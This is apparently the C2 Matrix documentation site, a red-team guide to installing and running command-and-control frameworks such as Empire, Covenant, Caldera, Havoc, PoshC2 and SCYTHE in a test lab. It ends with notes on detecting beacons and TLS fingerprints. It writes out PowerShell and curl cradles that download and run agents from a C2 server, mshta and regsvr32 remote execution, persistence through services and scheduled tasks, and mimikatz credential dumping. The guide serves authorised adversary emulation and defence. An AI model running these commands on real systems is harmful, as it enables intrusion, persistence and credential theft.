# The C2 Matrix Welcome to the C2 Matrix!! Here you will find detailed information about the C2 Matrix including the lab environment used to test the various C2s, details about each C2 (how to install and use them), and how to setup attack infrastructure for Red Team Engagements and Purple Team Exercises. The Golden Source of the C2 Matrix that we actively maintain is on Google Sheets: [https://docs.google.com/spreadsheets/d/1b4mUxa6cDQuTV2BPC6aA-GR4zGZi0ooPYtBe4IgPsSc/](https://docs.google.com/spreadsheets/d/1b4mUxa6cDQuTV2BPC6aA-GR4zGZi0ooPYtBe4IgPsSc/edit#gid=0) Questionnaire: Legacy web site: For those new to Command and Control frameworks, we recommend you start with [Slingshot - C2 Matrix Edition virtual machine](https://howto.thec2matrix.com/slingshot-c2-matrix-edition) in a [basic lab environment](https://howto.thec2matrix.com/lab-infrastructure/level-1-lab). Site is a work in progress so any contributions or feedback are much appreciated. Contact [@JorgeOrchilles ](https://twitter.com/jorgeorchilles)or [@C2\_Matrix](https://twitter.com/c2_matrix) # About ## Mission It is the golden age of Command and Control (C2) frameworks. The goal of this site is to point you to the best C2 framework for your needs based on your adversary emulation plan and the target environment. Take a look at the matrix or use the questionnaire to determine which fits your needs. ## Creators Jorge Orchilles is a SANS Principal Instructor, Author, and Red Team and Purple Team Ambassador; he is the project lead of the C2 Matrix and contributor to MITRE ATT\&CK and Atomic Red Team. He is co-author of SANS Security 565: Red Team Operations and Adversary Emulation, the Purple Team Exercise Framework (PTEF), CVSSv3, and a threat-led penetration testing framework; ISSA Fellow; NSI Technologist Fellow; and previously served on the Board of Directors of the ISSA South Florida Chapter for 10 years. Prior, Jorge ran the offensive security team at Citigroup. Jorge is a published author and holds post-graduate degrees from Stanford and Florida International University in Advanced Computer Security & Master of Science respectively. Bryson Bort is the Founder of SCYTHE, a start-up building a next generation attack emulation platform, and GRIMM, a boutique cybersecurity consultancy, and Co-Founder of the ICS Village, a non-profit advancing awareness of industrial control system security. He is a National Security Institute Fellow and an Advisor to the Army Cyber Institute. Prior, Bryson led an elite offensive capabilities development group. As a U.S. Army Officer, he served as a Battle Captain and Brigade Engineering Officer in support of Operation Iraqi Freedom before leaving the Army as a Captain. Adam Mashinchi is the Principal Product Manager for Managed Detection and response at Red Canary, where he manages the strategy, roadmap, and development of the MDR solution. Before Red Canary, Adam defined and managed the development of enterprise security and privacy solutions with an emphasis on adversary emulation and usable encryption at a global scale, leading numerous technical integration projects with a variety of partners and services. # SANS Slingshot C2 Matrix VM Virtual Machine image to try some of the most popular command and control frameworks The Slingshot CS Matrix Edition was made in collaboration with SANS, Ryan O'Grady, and Jorge Orchilles. The goal is to lower the learning curve of installing each C2 framework and getting you straight to testing which C2s work against your organization. Slingshot C2 Matrix Edition is ideal for red team, blue team, and purple team functions. Slingshot C2 Matrix Edition brings the following C2s pre-installed: Covenant, Empire, Koadic, Metasploit, Merlin, Mythic, Posh, Shad0w, Silent Trinity, and Sliver * [Covenant](https://howto.thec2matrix.com/c2/covenant) * [Empire with Starkiller](https://howto.thec2matrix.com/c2/empire) * Havoc * [Koadic](https://howto.thec2matrix.com/c2/koadic) * [Merlin](https://howto.thec2matrix.com/c2/merlin) * [Metasploit](https://www.offensive-security.com/metasploit-unleashed/) * Mythic * NimPlant * [PoshC2](https://howto.thec2matrix.com/c2/poshc2) * [Sliver](https://howto.thec2matrix.com/c2/sliver) Slingshot - C2 Matrix Edition also includes a number of other tools that red teamers and penetration testers will find useful such as VECTR for tracking red and purple team exercises. ## Getting Started SANS Slingshot C2 Matrix Edition can be downloaded from here: Ensure you have VMware Workstation, Player, or Fusion so that it can be imported. Double clicking the .ova and clicking import should do the trick: ![Import the OVA](/files/-M4KmhbMMqweS2uLBxxg) The default network device is configured as NAT for your own safety and to start of with a [basic lab](https://howto.thec2matrix.com/lab-infrastructure/level-1-lab). Login with the user: slingshot and password: slingshot Double click MATE Terminal to change your password with the passwd command: ![](/files/-M4yaw0Q36ryEMA7XOuw) {% embed url="" %} ## FAQ **What is the username and password of Slingshot?** ``` Username: slingshot Password: slingshot ``` **Why is the image so big?** The various Command and Control frameworks bring a number of dependencies. As we wanted this to be a standalone image, we have pre-downloaded and installed them for you. **What is the SHA256 sum:** 2020.4: e8f3aa841a5244c0419cab7006486be6bdd7c001282833e1fbd1e9698f80069e 2020.5: 9b01151590f85fe0a1aeeeefba7a83af817d16c9b9443a54409ea03c242f9b8d 2020.11: 6fdc0c064c97cb849a4312dc585e00a378ff190ed907d1c7de7ded59010567eb 2020.12: fe87c848769ab7c48ce3b65bd2a7a0083cf6f92581532d4bc173c218df93a7dd 2021.11: 16f5d121680e75eaccac04ed2bb3603ddcf788b24552c7b30210a93c0edd48e4 **How do I set a static IP?** ``` edit /etc/netplan/01-netcfg.yaml vim /etc/netplan/01-netcfg.yaml Set the DHCP option from true to false add addresses: [x.x.x.x/24] save and exit sudo netplan apply ``` **Hosting a payload with apache2** You can start the apache2 service using the following command ``` sudo service apache2 start ``` Then move the files to the apache2 directory ``` sudo mv /home/slingshot/payload.exe /var/www/html/payload.exe ``` Visit the URL from a browser: **Hosting a payload with python** Change directory to where the payload is located and then run python http server. ``` cd /home/slingshot/ python -m http.server 8000 ``` The above command will server the folders and files in the slingshot home directory over port 8000. Visit the URL from a browser: **VECTR** To start VECTR: ``` sudo /opt/vectr/vectr-bootstrap.sh ``` Visit and login with: ``` Username: admin Password: 11_ThisIsTheFirstPassword_11 ``` # Contribute Contributing to #C2Matrix is easy. You can simply send a direct message to [@C2\_Matrix](https://twitter.com/c2_matrix) or [@JorgeOrchilles](https://twitter.com/jorgeorchilles) on Twitter or fill out the [feedback form](https://www.thec2matrix.com/feedback) with any of the below information: * When a new C2 is released or updated * Share a blog on how to detect a particular C2 * Update request for any field on #C2Matrix * An evaluation of a new or updated C2 * Feedback on SANS Slingshot C2 Matrix Edition * Any other requests or feedback ## Evaluating a C2 Please take a look at our [C2 Matrix Eval Lab](https://app.gitbook.com/@jorgeorchilles/s/c2-matrix/~/drafts/-M9x41Ial__mOgvlMRez/lab-infrastructure/c2-matrix-eval-lab) so that testing can be performed in a consistent manner. The easiest way to contribute is to copy the row you want to update from the [Google Sheet Golden Source](https://docs.google.com/spreadsheets/d/1b4mUxa6cDQuTV2BPC6aA-GR4zGZi0ooPYtBe4IgPsSc/edit#gid=0) and share it with us via Twitter or Feedback form. You can also let us know if there is a particular field that is not accurate such as "Baby Shark row 5 states implementation is by pip3 but it is really install.sh" (this is just an example). We do prefer the entire row filled out. ## Give back to the Community Thank you for your interest in contributing and giving back to the community. As a token of appreciation we will make every effort to credit your work. Anyone that does a full C2 evaluation will have Twitter handle added to "Evaluator" column and receive many shout outs and thank you on Twitter. We appreciate all that you all do for the community! # Feedback The easiest way to provide feedback is to send us a Direct Message (DM) on X/Twitter: [@C2\_Matrix](https://twitter.com/c2_matrix) # C2 Matrix Eval Lab Information about lab environment used to test C2s for the C2 Matrix This is the lab environment used to test C2s for the C2 Matrix: ![](/files/-M1fFjqw2uNoShGtmkMN) pfSense with 3 interfaces: * WAN * Attackers - LAN Segment * Victims - LAN Segment {% embed url="" %} ## Windows Victim On the Windows victim machine, you should run tools that allow you to understand how the payload and modules work. The easiest to use are Wireshark for network traffic and Sysmon for endpoint detection. ### Wireshark Download and run Wireshark to see traffic between victim and attacker: Choose the Ethernet adapter on the victim's LAN segment. Filter: ip.addr == \ ### Sysmon Download Sysmon: Extract it to C:\tools\\ Download and extract SwiftOnSecurity sysmon configuration into C:\tools On an elevated command prompt: ```bash cd \tools Sysmon64.exe -accepteula -i sysmonconfig-export.xml ``` Open Event Viewer and navigate down through: Applications and Services Logs > Microsoft > Windows > Sysmon > Operational {% embed url="" %} Additional reading: # Basic Lab A basic lab will be defined as the bare minimum required to test C2s from the C2 Matrix. It is broken up in three key components: * Host: your main operating system running a hypervisor like vmware player/workstation, VirtualBox, Hyper-V, etc. * Attacker VM: the attacker virtual machine in NAT mode * Victim VM: the victim virtual machine in NAT mode # Virtual Machines with C2s There are a few virtual machines with built in C2 frameworks allowing you to start testing and skip the installation. ## SANS Slingshot - C2 Matrix Edition SANS provides a number of free resources to the community including an offensive linux distribution called [Slingshot](https://www.sans.org/slingshot-vmware-linux/). C2 Matrix worked with SANS to release a special edition [Slingshot - C2 Matrix Edition](https://howto.thec2matrix.com/slingshot-c2-matrix-edition). ## Kali C2 Matrix was leveraged by the Offensive Security folks to including the following C2s into [Kali](https://www.kali.org/downloads/) 2020.2: * Covenant * Empire3 * EvilOSX * Faction C2 * Fudge C2 * Godoh * ibombshell * Koadic * Merlin * PoshC2 * SILENTTRINITY * Sliver For more details, follow the [tracker](https://bugs.kali.org/view.php?id=6093). # Docker Using Docker is a great idea for creating lab and attack infrastructure. Many C2s use Docker or have the option. ## Install Docker on Kali ```bash curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add - echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' > /etc/apt/sources.list.d/docker.list apt-get update apt-get install docker-ce apt-get install docker-compose ``` ## Start Docker ```bash systemctl start docker ``` # Resources Splunk Attack Range: # Caldera ## Install Caldera Ensure Docker is installed first. Run as root ``` cd /opt sudo git clone https://github.com/mitre/caldera.git --recursive cd caldera sudo ./install.sh --kali ``` ## Run Caldera ```bash cd /opt/caldera source calderaenv/bin/activate python server.py http://127.0.0.1:8888 admin:admin ``` ## Deploy Agent Windows ```bash $url="http://192.168.120.135:8888/file/download"; $wc=New-Object System.Net.WebClient;$wc.Headers.add("platform","windows"); $wc.Headers.add("file","sandcat.go"); $output="C:\Users\Public\sandcat.exe";$wc.DownloadFile($url,$output); C:\Users\Public\sandcat.exe -server http://192.168.120.135:8888 -group my_group; OR while($true) {$url="http://192.168.120.135:443/file/download";$wc=New-Object System.Net.WebClient;$wc.Headers.add("file","sandcat.exe");$output="C:\Users\Public\sandcat.exe";$wc.DownloadFile($url,$output);C:\Users\Public\sandcat.exe http://192.168.120.135:443 my_group; sleep 60} ``` Linux ```bash while true; do curl -sk -X POST -H 'file:sandcat-linux' http://localhost:8888/file/download > /tmp/sandcat-linux && chmod +x /tmp/sandcat-linux && /tmp/sandcat-linux http://localhost:8888 my_group; sleep 60; done ``` ## Understanding Caldera This graphic created by [Adam Mashinchi](https://twitter.com/Adam_Mashinchi) ![](/files/-M29iifpQGZjqKNNC6oE) Presentation from Erik van Buggenhout: Caldera YouTube Playlist: # Covenant ## Install Covenant Ensure Docker is installed first. Run as root ``` cd /opt git clone --recurse-submodules https://github.com/cobbr/Covenant cd Covenant/Covenant docker build -t covenant . docker run -it -p 7443:7443 -p 8080:8080 -p 4433:4433 --name covenant -v /opt/Covenant/Covenant/Data:/app/Data covenant --username AdminUser --computername 0.0.0.0 ``` ## First run on SANS Slingshot C2 Matrix Edition 2020.4 ```bash cd /opt/covenant/Covenant sudo docker build -t covenant . sudo docker run -it -p 7443:7443 -p 8080:8080 -p 4433:4433 --name covenant -v /opt/covenant/Covenant/Data:/app/Data covenant --username AdminUser --computername 0.0.0.0 ``` ## Run Covenant ```bash sudo docker start covenant -ai ``` Open Firefox and navigate to ```bash Username: AdminUser Password: slingshot ``` For more: # Deimos Thanks to Aaron Herman for below notes. ## Set up * Download pre-compiled Go binary from * chmod u+x./DeimosC2 && ./DeimosC2 * Follow prompts (likely N, Y, N) * Navigate to * Create Username and Password ## Generate payloads * Sign into * Add a new listener and set the host variable. Optionally, you can configure the AgentOptions which includes the URI paths. * Once created, click the > button to Interact * On the right side, there’s a “Generate Agent” button. Select the OS and Architecture. Obfuscating the payload will slow down the generation greatly. * Once created, you can click on the links within the “Agents” box to download. They’re also located in./resources/listenerresources/\/ if you want to just start a python3 -m http.server there ## Modules * Windows: screengrab, minidump, lsadump, ntdsdump, samdump * Mac: screengrab * Linux: screengrab, shadowdump # Empire3 Empire is fully supported by BC-Security Demo of Empire with Starkiller is in this [Red Team Village](https://redteamvillage.io/) event video where I emulate APT19: {% embed url="" %} ## Install Empire Install on Kali: ``` sudo apt install powershell-empire ``` Install on Ubuntu: ``` cd /opt sudo git clone https://github.com/BC-SECURITY/Empire.git cd Empire sudo ./setup/install.sh ``` If you are installing the newer version of Empire on the SANS Slingshot C2 Matrix Edition VM, there is a small bug because it wants Ubuntu 20.04 but slingshot is in 18.04. Replace the line in setup/install.sh with the correct version: `wget -q` [`https://packages.microsoft.com/config/ubuntu/18.04/packages-microsoft-prod.deb`](https://packages.microsoft.com/config/ubuntu/18.04/packages-microsoft-prod.deb) And comment the version test: `#if [ $VERSION_ID != "20.04" ]; then # echo -e '\x1b[1;31m[!] Ubuntu must be 20.04\x1b[0m' && exit #fi` Download Starkiller if you want a GUI: ``` cd /opt sudo wget https://github.com/BC-SECURITY/Starkiller/releases/download/v1.0.0/starkiller-1.0.0.AppImage sudo chmod +x starkiller-1.0.0.AppImage ``` ## Run Empire ```bash sudo empire ``` On Kali: ```bash sudo powershell-empire ``` ## Run Starkiller Run Empire for connectivity through Starkiller if you want a GUI: ```bash sudo empire --rest --username --password ``` Open Starkiller: ```bash cd /opt/starkiller ./starkiller-1.2.2.AppImage ``` Login to Starkiller: * Name: localhost:1337 * Username: \ * Password: \ ## Emulating TTPs Will use an adversary emulation plan for APT19 as an example: | Tactic | Description | | ------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | Description | APT19 is a Chinese-based threat group that has targeted a variety of industries, including defense, finance, energy, pharmaceutical, telecommunications, high tech, education, manufacturing, and legal services. | | Goal and Intent | Exist in the network to enumerate systems and information in order to maintain Command and Control to support future attacks. | | Command and Control | Commonly Used Port (T1043) - TCP port 80; Standard Application Layer Protocol (T1071) - HTTP; Deobfuscate/Decode Files or Information (T1140); Data Encoding (T1132) - used Base64 to encode communications to the C2 server | | Initial Access | Spearphishing attachment (T1193); Spearphishing link (T1192) | | Execution | PowerShell (T1086); User Execution; Hidden Windows (T1143) - used `-W Hidden` to conceal PowerShell windows by setting the WindowStyle parameter to hidden; Obfuscated Files or Information (T1027) - used Base64 to obfuscate commands and the payload; DLL Side-Loading (T1073) | | Discover | System Owner/User Discovery (T1033); System Information Discovery (T1082) System Network Configuration Discovery (T1016) | | Persistence | Registry Run Keys/ Start up Folder (T1060) - establishes persistence by setting the Registry key `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Debug Tools-%LOCALAPPDATA%\` | | Defense Evasion | Regsvr32 (T1117); Scripting (T1064) - downloaded and launched code within a SCT file to bypass application whitelisting techniques | ### Listeners Create Listener ```bash Type: http Name: http Host: http://10.0.0.187 Port: 80 BindIP: 10.0.0.187 Jitter: 0.5 StagingKey: georgy ``` ### Stagers Generate Stager HTA: ```bash Type: windows/hta Listner: http Base64: True Language: powershell Outfile: /tmp/Resume.hta ``` Generate Stager SCT: ```bash Type: windows/launcher_sct Listner: http Base64: True Language: powershell ``` Generate Stager DLL: ```bash Type: windows/dll Listner: http Arch: x86 Language: powershell OutFile: /tmp/launcher.dll Optional Fields Obfuscate: True ObfuscateCommand: Token\String\1 ``` Download the stagers to /tmp and serve with SimpleHTTPServer ```bash cd /tmp python -m SimpleHTTPServer 8080 ``` ### Initial Access Email with link to Resume.hta ### Execution Show execution of HTA file: ```bash mshta http://10.0.0.187:8080/Resume.hta ``` Migrate to another process with reflective PE Injection: ```bash See processes running: ps usemodule code_execution/invoke_reflectivepeinjection set ProcID: set DllPath: /tmp/launcher.dll ``` ### Discovery ```bash whoami usemodule situational_awareness/host/antivirusproduct usemodule situational_awareness/host/get_uaclevel usemodule situational_awareness/host/winenum ``` ### Persistence ```bash usemodule persistence/userland/registry set Listener: http ``` Open regedit HKCU\Software\Microsoft\Windows\CurrentVersion ### Defense Evasion Execution with regsvr32 and scripting. Created a shortcut called Chrome with Target set as: ```bash C:\Windows\System32\cmd.exe /c "C:\Windows\System32\regsvr32.exe /s /n /u /i:http:\10.0.0.187:8080\launcher.sct scrobj.dll" ``` ### Upload ```bash cd C:\Users\ upload /tmp/file shell C:\Users\\ ``` ## Other Resources * Using Empire with Starkiller: [How to from BC-Security](https://www.bc-security.org/post/an-introduction-to-starkiller) # Empire5 Start Empire5 on Slingshot: ``` cd /opt/empire sudo ./ps-empire server ``` Open a web browser and visit ``` http://0.0.0.0:1337/index.html#/ ``` Login with the default username and password: ``` Usernmae: empieradmin Password: password123 ``` References: # Havoc Wiki: ## Run Havoc Team Server ```bash cd /opt/Havoc/Teamserver sudo ./teamserver server --profile ./profiles/havoc.yaotl -v --debug ``` ## Run Havoc Client ``` cd /opt/Havoc/Client sudo ./Havoc ``` ## Login to Havoc Teamserver information is in /opt/Havoc/Teamserver/profiles/havoc.yaotl To authenticate: ``` Name: Slingshot Host: localhost Port: 40056 Username: Neo Password: password1234 ``` ## Start a Listener Click "View" on the top left menu of the Havoc client then click "Listeners". In the bottom screen that opens, Click "Add" In the new window that pops up, give the Listener a Name and modify any options you would like to change. Then click Save. ## Create Payload Click "Attack" on the top left menu of the Havoc client and then click "Payload". In the new window, select your Listener, Arch, Format, and modify any configuration, then click "Generate". Note this takes a little bit of time. Once the payload is compiled, it will ask you to save it somewhere. To host it with apache, save it at /var/www/html/demon.exe Start Apache to host the file: ``` sudo service apache2 start ``` ## Download and Execute On the target system, open a browser to Download and double click demon.exe to launch. Go back to your Havoc client to interact with the implant. # ibombshell ## Install ibombshell ``` git clone https://github.com/ElevenPaths/ibombshell.git cd ibombshell/ibombshell c2/ pip3 install -r requirements.txt ``` ## Run ibombshell ```bash cd /opt/ibombshell ``` # Koadic ## Install Koadic ``` cd /opt/ git clone https://github.com/zerosum0x0/koadic cd koadic apt-get install python3-pip pip3 install -r requirements.txt ``` ## Run Koadic ```bash sudo koadic ``` ### Listener ```bash use stager/js/ set SRVHOST set SRVPORT 443 run ``` ### Interact ```bash zombies ``` ### Post Modules ```bash cmdshell use implant/ set PAYLOAD 0 set ZOMBIE 0 ``` ## Notes ``` Spawns rundll32.exe HTTP Long Polling https://www.pubnub.com/blog/http-long-polling/ Continuous connection Logging in JSON: /opt/koadic/restores Proxy awareness doesn’t work: https://github.com/zerosum0x0/koadic/issues/55 Stagers: 6 Implants: 44 ``` # Merlin ## Install Merlin ``` apt install golang mkdir /opt/merlin cd /opt/merlin wget https://github.com/Ne0nd0g/merlin/releases/download/v0.8.0/merlinServer-Linux-x64-v0.8.0.BETA.7z 7z x merlinServer-Linux-x64-v0.8.0.BETA.7z ``` ## Run Merlin ```bash cd /opt/merlin sudo ./merlinServer-Linux-x64 -i -psk ``` ### Agent Deployment Download agent from releases: ```bash merlinAgent-Windows-x64.exe -url https://10.0.0.194:443 -psk test ``` ![](/files/-M4P9f1OsrHr5MexHlla) ### Interact with Agent ```bash interact ``` Visit wiki for additional information on interacting with an agent: #### Test beacon delay set sleep 10s set skew 5 # Mythic ## Apfell was renamed to Mythic Post: Github: Doc: ## Set up Thanks to Aaron Herman for below notes. ### **Git clone the repository** $ git clone $ cd Mythic $ sudo ./mythic-cli start ### Get password for admin $ cat .env | grep -i admin\_pass ### Install a payload Github repo $ ./mythic-cli install github ### Navigate to UI and sign in with mythic\_admin and password from above ### Generating payloads * Navigate to and click “Actions”, “Create New Payload” * Follow prompts to add Target OS * Target Payload Type * Poseidon * Medusa * Make sure you have a C2 profile - sudo ./mythic-cli c2 start http * Add any additional commands (Poseidon doesn’t have any available ones) * Select C2 profile (make sure you have a C2 profile created/running) * Create Payload! # Nuages ## Install Nuages ``` cd /opt/ git clone https://github.com/p3nt4/Nuages.git cd Nuages/Server chmod +x setup.sh ./setup.sh ``` ## Run Nuages ```bash cd /opt/Nuages ``` # PoshC2 PoshC2 is pretty well documented, below are my notes. Best to use the official documentation: Demo of PoshC2 is in this [Red Team Village](https://redteamvillage.io/) and [Texas Cyber Summit](https://www.texascybersummit.org/) [June'gle](http://junegle.com/) event: {% embed url="" %} ## Install PoshC2 ``` sudo su - curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2/master/Install.sh | bash ``` ## Configure and Run PoshC2 ``` sudo su - cd /opt/PoshC2 posh-project -n test posh-config ``` Modify the values in the file, consider: BindIP; PayloadCommsHost; UserAgent ### Launch Server ``` sudo su - posh-server ``` On launch, PoshC2 generates a number of payloads into /opt/PoshC2\_Project and creates a quick start file. ``` cat /opt/PoshC2_Project/quickstart.txt ``` ### Launch Handler ``` sudo su - posh -u georgy ``` ### Deploy Agent Use the multitude of methods to deploy the agent from the quickstart.txt file. ## Emulate TTPs ### Run PowerShell Scripts ``` loadmodule /home/slingshot/CozyBear/stepTwelve.ps1 detectav software ``` ### Chaining Run the following command from the implant you want to use as the daisy server. ``` startdaisy ``` ### Download a file ``` web-upload-file -from 'https://mint.scythedemo.com/ServiceLogin?passive=Gc5H5HZdakKD8ZWuaUcX2Q&b=true' -to 'C:\Users\Jorge\Desktop\scythe.dll' ``` ## Other Resources * * # PowerHub ## Install PowerHub ``` cd /opt git clone https://github.com/AdrianVollmer/PowerHub.git cd PowerHub pip3 install --user -r requirements.txt ``` ## Run PowerHub ``` ./powerhub 10.0.0.108 http://10.0.0.108:5000 ``` ​ # SilentTrinity ## Install SilentTrinity ``` cd /opt/ git clone https://github.com/byt3bl33d3r/SILENTTRINITY cd SILENTTRINITY pip3 install -r requirements.txt ``` ## Run SilentTrinity ```bash silentrinity teamserver ``` # Sliver ## Install Sliver Grab the URL for the latest release at ``` mkdir /opt/sliver cd /opt/sliver wget chmod +x sliver-server_linux ``` ## Run Sliver ```bash sudo /opt/sliver/sliver-server_linux ``` ### Generate Payload ```bash generate --http http ``` ### Interact with Agent ```bash sessions use ``` # SCYTHE ## Setup Campaign Login to your SCYTHE instance via web browser. Default port is 8443. Campaign Manager - New Campaign Select the following options: * Name: unique name for the campaign * Target Operating System: Windows, Linux, or macOS * Restrict Campaign through Execution Guardrails (T1480) by Device, Domain, Start Date, and/or End Date * Communication Module: * HTTPS is default, * DNS, HTTP, and Stego require relays to be installed on redirector * Google Sheet and Twitter require third party account/API ### Community Threats (Third Party Adversary Emulation Plans) Download Community Threats from SCYTHE Github: Import into SCYTHE: Threat Manager - Migrate Threats - Choose File - Import ![Migrate Threats](/files/-M8voVnCLKXoE5wYieHq) Use a Threat: Threat Manager - Threat Catalog - Click Threat - Create Campaign from Threat ## Deploy Payload ### User Execution: Malicious File (T1204.002): Download the binary to the target system and execute by double clicking. ### Signed Binary Proxy Execution: Rundll32 (T1218.011): Download DLL file from SCYTHE and execute below from a cmd.exe: ``` rundll32.exe ServiceLogin.dll,PlatformClientMain ``` ### Command and Scripting Interpreter: PowerShell (T1059.001) Open a powershell.exe and run: ``` $myscriptblock={$url="https://madrid.scythedemo.com/ServiceLogin?active=K17coQ7Y6E-jJExc8Y_-8w&b=false";$wc=New-Object System.Net.WebClient;$output="C:\Users\Public\scythe_payload.exe";$wc.DownloadFile($url,$output);C:\Users\Public\scythe_payload.exe};Invoke-Command -ScriptBlock $myscriptblock; ``` ## Emulate TTPs ``` loader --load run run whoami run cmd /c whoami ``` ### Load Python Runtime ``` loader --load-runtime python3 list modules loader --load "modulename" "modulename" ``` ### Download files Move file to virtual file system ``` loader --load downloader downloader --src VFS:/users/BUILTIN/scythe/DNS_scythe_client32.dll --dest C:\Users\sec564\DNS_scythe_client32.dll ``` ### Privilege Escalation (TA0004) #### UAC (T1088) ``` loader --load elevate elevate --prompt ``` ### Credential Access (TA0006) #### Credential Dumping (T1003) ``` loader --load mimikatz mimikatz --arglist privilege::debug mimikatz --arglist sekurlsa::logonPasswords ``` ### Persistence (TA0003) #### New Service (T1050) ``` loader --load persist Synatax: persist --hostname "Hostname" --name "Name of Service" --display "Display Name of Service" --description mysvc --path \\"hostname"\C$\"location" Example: persist --hostname WIN10-VICTIM1 --name GoogleUpdate --display GoogleUpdate --description GoogleUpdate --path \\WIN10-VICTIM1\C$\Windows\Temp\GoogleUpdate.exe ``` #### Scheduled Task (T1168) ``` schtasks /create /tn DNS /sc ONLOGON /tr "cmd.exe /k rundll32.exe C:\Users\\DNS_scythe_client32.dll,PlatformClientMain" ``` ## Clean up ### Persistence: ``` run sc delete GoogleUpdate run del C:\Windows\Temp\GoogleUpdate.exe ``` ### Kill agent: ``` controller --shutdown ``` # TrevorC2 ## Install TrevorC2 ``` https://github.com/trustedsec/trevorc2.git pip3 install -r requirements.txt ``` ## Run TrevorC2 ```bash vim trevorc2_server.py vim trevorc2_client.py ``` # Resources Red Team Hosted Infrastructure: Testing your Red Team Infrastructure: Automating Red Team infrastructure build out with Abaddon: Monitoring Red Team infrastructure with RedELK: # Redirectors/Relays "It’s 2021, disable staging and don’t expose C2 server ports directly to the internet" - [@HackingLZ](https://twitter.com/HackingLZ) A redirector or a relay is a network widget that listens for incoming connections and forwards them to another host or port. This is an operational security best practice so that you never expose your Command and Control (C2) server to everyone on the Internet. Instead, your payload should be configured to connect to the redirector/relay so that anyone looking at the network connections sees the redirector/relay and not your C2 server. If a defender/Blue Team blocks your redirector, your C2 server is still accessible. A lot has been written about redirectors. Here are a few references: * Redirect rules: * Hosting and hiding your C2 with Docker and Socat: * Introduction to Modern Routing For Red Team Infrastructure - using Traefik, Matasploit, Covenant, and Docker: * AWS Lambda Redirector: * Hiding in the Cloud: Cobalt Strike Beacon C2 using Amazon APIs: * Azure C2 Relay: * Servers are Over-rated (Azure and AWS): * Cloudflare Worke # Basics Detecting long connections: * Detecting beacons: * [https://www.activecountermeasures.com/threat-simulation-beacons](https://www.activecountermeasures.com/threat-simulation-beacons/) * Detecting TLS C2: * Certificate Issues: * DNS: * # Beacons * Are there instances of beaconing observed in my network? * What external destinations are being beaconed to? * Which hosts are potentially infected, not just the IP address? * Does the beaconing cadence demonstrate unusual request/response frequency? * Is the payload size something I would normally see? * Does the beacon have a rare or unusual JA3 hash? * Is the traffic going to unusual external destination? * What is the privilege level of the hosts that are beaconing? * Are beaconing sessions obfuscated within a single, long connection? * Does the connection use unusual services and protocols? ## References: * [https://www.activecountermeasures.com/threat-simulation-beacons](https://www.activecountermeasures.com/threat-simulation-beacons/) * * # JA3/JA3S Hashes The TLS negotiation between a client and a server has a fingerprint. The fingerprint can be used to identify the type of encrypted communication. TLS is used to encrypt communication for privacy and security. HTTP uses TLS in HTTPS as do most command and controls frameworks.To initiate a TLS session, a client will send a TLS Client Hello packet after the TCP 3-way handshake. This packet and the way in which it is generated is dependent on the client application. The server will respond with a TLS Server Hello packet that is formulated based on server-side libraries, configurations, and the Client Hello. Because TLS negotiations are transmitted in the clear, it’s possible to fingerprint and identify client applications. Things to look for: * Frequently changing JA3/JA3S hashes * Numerous JA3 hashes from a single host * Unvarying and unknown JA3/JA3s hashes ## References: * * * * # JARM TLS fingerprinting of C2 Servers Salesforce released a tool called JARM that allows you to fingerprint C2 servers: ``` python jarm.py salesforce.com ``` {% embed url="" %}